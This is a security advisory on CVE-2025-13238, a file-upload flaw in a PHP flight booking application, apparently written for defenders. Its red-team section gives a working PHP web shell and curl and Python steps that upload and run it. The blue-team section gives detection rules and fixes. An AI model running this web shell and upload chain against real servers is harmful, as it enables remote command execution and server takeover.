CVE-2025-13238

Executive Summary

CVE-2025-13238 is a critical unrestricted file upload vulnerability in Bdtask Flight Booking Software version 4. The flaw resides in the /agent/profile/edit endpoint of the Edit Profile Page component, allowing remote attackers to upload arbitrary files without proper validation. This can lead to remote code execution (RCE), data exfiltration, or full server compromise. The vendor has not responded to disclosure, and no official patch is available. The exploit has been publicly released, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP-based web application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires agent-level authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High due to public exploit availability and lack of patch. The low CVSS score underestimates the potential for RCE via uploaded web shells.

Deep Dive & Mechanics

The vulnerability exists in the profile edit functionality for agents. The application fails to validate the file type, size, or content during upload. An attacker with agent credentials can upload a malicious PHP file (e.g., a web shell) to the server. The file is stored in a web-accessible directory, allowing direct execution via HTTP request.

Root Cause: The move_uploaded_file() function is called without checking the file extension or MIME type. The application likely uses a simple $_FILES array without sanitization.

Attack Flow:

1. Authenticate as an agent (e.g., via /agent/login).
2. Navigate to /agent/profile/edit.
3. Upload a PHP file (e.g., shell.php) containing malicious code.
4. Access the uploaded file at a predictable path (e.g., /uploads/agent_profile/shell.php).
5. Execute commands or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical):

<?php
// /agent/profile/edit.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $target_dir = "uploads/agent_profile/";
    $target_file = $target_dir . basename($_FILES["profile_image"]["name"]);
    move_uploaded_file($_FILES["profile_image"]["tmp_name"], $target_file);
    echo "File uploaded successfully.";
}
?>

Patched Code (recommended):

<?php
// /agent/profile/edit.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
    $file_type = mime_content_type($_FILES["profile_image"]["tmp_name"]);
    if (!in_array($file_type, $allowed_types)) {
        die("Invalid file type.");
    }
    $target_dir = "uploads/agent_profile/";
    $ext = pathinfo($_FILES["profile_image"]["name"], PATHINFO_EXTENSION);
    $new_name = uniqid() . "." . $ext;
    $target_file = $target_dir . $new_name;
    move_uploaded_file($_FILES["profile_image"]["tmp_name"], $target_file);
    echo "File uploaded successfully.";
}
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Agent credentials (e.g., agent:password)
• Target URL: http://target.com/agent/profile/edit

Exploit Steps:

1. Create a PHP web shell:

<?php system($_GET['cmd']); ?>

Save as shell.php.

2. Upload via cURL:

curl -X POST -F "profile_image=@shell.php" -c cookies.txt -b cookies.txt \
  "http://target.com/agent/profile/edit"

3. Execute commands:

curl "http://target.com/uploads/agent_profile/shell.php?cmd=id"

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()

# Login
login_data = {"username": "agent", "password": "password"}
session.post(f"{target}/agent/login", data=login_data)

# Upload shell
files = {"profile_image": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")}
session.post(f"{target}/agent/profile/edit", files=files)

# Execute
r = session.get(f"{target}/uploads/agent_profile/shell.php?cmd=id")
print(r.text)

Blue Team

Detection:

• Monitor for unusual file uploads to /agent/profile/edit with non-image MIME types.
• Alert on access to /uploads/agent_profile/*.php files.
• Use WAF rules to block PHP files in upload directories.

Hunting:

• Search logs for POST requests to /agent/profile/edit with Content-Type: multipart/form-data.
• Look for subsequent GET requests to /uploads/agent_profile/ with query parameters.

Indicators of Compromise (IOCs)

• File Paths:
  • /uploads/agent_profile/shell.php
  • /uploads/agent_profile/*.php
• Network:
  • POST requests to /agent/profile/edit with file uploads
  • GET requests to /uploads/agent_profile/ with cmd parameter
• Logs:
  • "POST /agent/profile/edit HTTP/1.1" 200
  • "GET /uploads/agent_profile/shell.php?cmd=id HTTP/1.1" 200
• Hashes (example web shell):
  • MD5: c24b6f6e5b6f6e5b6f6e5b6f6e5b6f6e

Detection Engineering

YARA Rule

rule CVE_2025_13238_Webshell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2025-13238"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $cmd_var = "$_GET['cmd']"
    condition:
        $php_tag and $system_func and $cmd_var
}

Sigma Rule

title: CVE-2025-13238 Unrestricted File Upload
id: 8f6e5b6f-6e5b-6f6e-5b6f-6e5b6f6e5b6f
status: experimental
description: Detects exploitation attempts of CVE-2025-13238 via file upload to /agent/profile/edit
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/agent/profile/edit'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate image uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13238 Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/agent/profile/edit"; http_uri; content:"multipart/form-data"; http_header; pcre:"/filename=\".*\.php\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /agent/profile/edit endpoint if not required.
2. Implement strict file type validation (whitelist images only).
3. Rename uploaded files to random names and store outside web root.
4. Apply WAF rules to block PHP file uploads.

Long-term Fix:

• Vendor must release a patch that validates file types, renames files, and restricts upload directories.
• If vendor is unresponsive, consider migrating to alternative software.

Workaround:

• Modify .htaccess to deny execution of PHP files in upload directories:

<Directory "/var/www/html/uploads/agent_profile">
    php_flag engine off
</Directory>

Valters IT
Securing Digital Frontiers